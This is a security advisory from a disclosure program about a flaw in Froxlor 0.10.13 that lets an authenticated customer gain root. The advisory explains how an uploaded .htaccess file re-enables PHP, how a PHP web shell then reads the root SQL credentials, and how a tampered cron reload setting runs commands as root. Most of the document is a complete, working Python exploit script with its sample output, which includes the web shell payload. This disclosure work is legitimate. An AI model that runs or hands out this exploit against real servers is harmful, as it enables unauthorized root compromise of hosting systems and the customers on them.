TL;DR
A vulnerability in Froxlor allows remote attackers to bypass restrictions and execute arbitrary commands as root. Authentication as a customer is required to exploit this vulnerability.
The specific flaw exists within the uploading of files on the target server. The issue results from the possibility to upload Apache configuration files to the target server.
Vulnerability Summary
The Froxlor installation (when run with mod_php) contains a vulnerability that allows authenticated attackers to gain elevated (root) privileges.
CVE
TBD
Credit
An independent security researcher, Alex Birnberg of Zymo Security, has reported this to the SSD Secure Disclosure program.
Affected Versions
- Froxlor version 0.10.13
Vendor Response
“We’ve redone the whole installation process for the next major release (around summer this year) which preselects php-fpm and eases the configuration a lot. There’s also a note that mod_php usage is not recommended”
Vulnerability Analysis
Obtaining Code Execution as www-data
The Froxlor Server Management Panel offers users certain services for use within their environment. By default the IMAP, POP3, and PHP services are offered, however multiple other services are available such as Perl or FTP. Security aware administrators may disable the PHP or Perl engines in security-critical environments.
For each customer an FTP account is created for the purpose of file management in their environment. There are no restrictions in place on the type of files that can be uploaded.
The only restrictions that are placed on the customer environment are the ones declared in the Apache virtual host configuration however the AllowOverride
directive is not used.
Thus an attacker may upload via FTP an Apache configuration file named .htaccess
with the php_flag engine on
and bypass any restrictions set by the administrator.
Uploading a web shell and navigating to it’s location on the allocated customer subdomain will result in code execution as www-data
.
Elevating Privileges to root
By default, SQL credentials are stored in the `/var/www/froxlor/lib/userdata.inc.php` file.
<?php // automatically generated userdata.inc.php for Froxlor $sql['host']='127.0.0.1'; $sql['user']='froxlor'; $sql['password']='p4ssw0rd.'; $sql['db']='froxlor'; $sql['ssl']['caFile']=''; $sql['ssl']['verifyServerCertificate']='0'; $sql_root[0]['caption']='Default'; $sql_root[0]['host']='127.0.0.1'; $sql_root[0]['user']='root'; $sql_root[0]['password']='p4ssw0rd.'; $sql_root[0]['ssl']['caFile']=''; $sql_root[0]['ssl']['verifyServerCertificate']='0'; // enable debugging to browser in case of SQL errors $sql['debug'] = false;
The command that will be executed as root is stored in a file in the customer environment. This is done to bypass character restrictions later. By gaining control over the database, the system.crondreload
setting is updated to bash /path/to/commandfile
. Cron will then execute the command stored in the command file thus obtaining arbitrary code execution as root.
Exploit
The exploit script requires 4 arguments, the target URL, valid username and password of a customer account, and the command to be executed as root.
./exploit.py --url http://customer.froxlor.local --username customer --password WpvecgmjOk --command "whoami > /tmp/pwnd.zzz" [*] Elevating privileges [+] Uploaded Apache configuration file [+] Uploaded PHP shell [+] Reading server configuration [+] Obtained SQL credentials Username: root Password: p4ssw0rd. [*] Triggering command execution [+] Uploaded command fileverfiied [+] Rebuilding webserver configuration [*] Cleaning up [+] Restored cron daemon reload command [+] Deleted Apache configuration file [+] Deleted PHP shell [+] Deleted command file [#] Exploit succeeded
Code
#!/usr/bin/env python3 import io import time import string import random import ftplib import requests import argparse from urllib.parse import parse_qs, urlparse class Exploit: def __init__(self, args): self.url = args.url self.username = args.username self.password = args.password self.command = args.command self.s = requests.Session() self.s.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' } self.s.verify = False def trigger(self): print('[*] Elevating privileges') if not self.eop(): print('[-] Exploit failed') exit() print('[*] Triggering command execution') if not self.rce(): print('[-] Exploit failed') exit() print('[*] Cleaning up') if not self.cleanup(): print('[-] Exploit failed') exit() print('[#] Exploit succeeded') def www_data_exec(self, command): r = self.s.get(self.url + '/' + self.php_shell, params={'x': command}) return r.content def eop(self): self.upload_file('.htaccess', b'php_flag engine on') print(' [+] Uploaded Apache configuration file') self.php_shell = ''.join(random.choice(string.ascii_letters) for i in range(8)) + '.php' self.upload_file(self.php_shell, b'<?php system($_GET[\'x\']);') print(' [+] Uploaded PHP shell') print(' [+] Reading server configuration') userdata = self.www_data_exec('cat /var/www/froxlor/lib/userdata.inc.php').decode('latin-1') try: self.mysql_username = userdata[userdata.find('$sql_root[0][\'user\']=\'')+22:] self.mysql_username = self.mysql_username[:self.mysql_username.find('\';')] self.mysql_password = userdata[userdata.find('$sql_root[0][\'password\']=\'')+26:] self.mysql_password = self.mysql_password[:self.mysql_password.find('\';')] print(' [+] Obtained SQL credentials') print(' Username: ' + self.mysql_username) print(' Password: ' + self.mysql_password) return True except: return False def rce(self): self.command_file = ''.join(random.choice(string.ascii_letters) for i in range(8)) self.upload_file(self.command_file, self.command.encode('latin-1')) pwd = self.www_data_exec('pwd').decode('latin-1').strip() print(' [+] Uploaded command file') self.crondreload = self.sql('SELECT value FROM froxlor.panel_settings WHERE settinggroup=\'system\' AND varname=\'crondreload\'').decode('latin-1').split('\n')[1] print(' [+] Saved cron daemon reload command') self.sql('UPDATE froxlor.panel_settings SET value=\'bash ' + pwd + '/' + self.command_file + '\' WHERE settinggroup=\'system\' AND varname=\'crondreload\'') print(' [+] Updated cron daemon reload command') print(' [+] Rebuilding webserver configuration') self.sql('INSERT INTO froxlor.panel_tasks (type, data) VALUES (99, \'\')') while int(self.sql('SELECT COUNT(*) FROM froxlor.panel_tasks').decode('latin-1').split('\n')[1]) != 0: time.sleep(5) return True def cleanup(self): self.sql('UPDATE froxlor.panel_settings SET value=\'' + self.crondreload + '\' WHERE settinggroup=\'system\' AND varname=\'crondreload\'') print(' [+] Restored cron daemon reload command') self.delete_file('.htaccess') print(' [+] Deleted Apache configuration file') self.delete_file(self.php_shell) print(' [+] Deleted PHP shell') self.delete_file(self.command_file) print(' [+] Deleted command file') return True def sql(self, query): return self.www_data_exec('mysql -u"' + self.mysql_username + '" -p"' + self.mysql_password + '" -e "' + query + '"') def upload_file(self, path, content): fp = io.BytesIO(content) o = urlparse(self.url) ftp = ftplib.FTP(o.hostname) ftp.login(self.username, self.password) ftp.storbinary('STOR ' + path, fp) ftp.quit() def delete_file(self, path): o = urlparse(self.url) ftp = ftplib.FTP(o.hostname) ftp.login(self.username, self.password) ftp.delete(path) ftp.quit() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--url', help='Target URL', required=True) parser.add_argument('--username', help='Username of customer', required=True) parser.add_argument('--password', help='Password of customer', required=True) parser.add_argument('--command', help='Command to execute', required=True) exploit = Exploit(parser.parse_args()) exploit.trigger()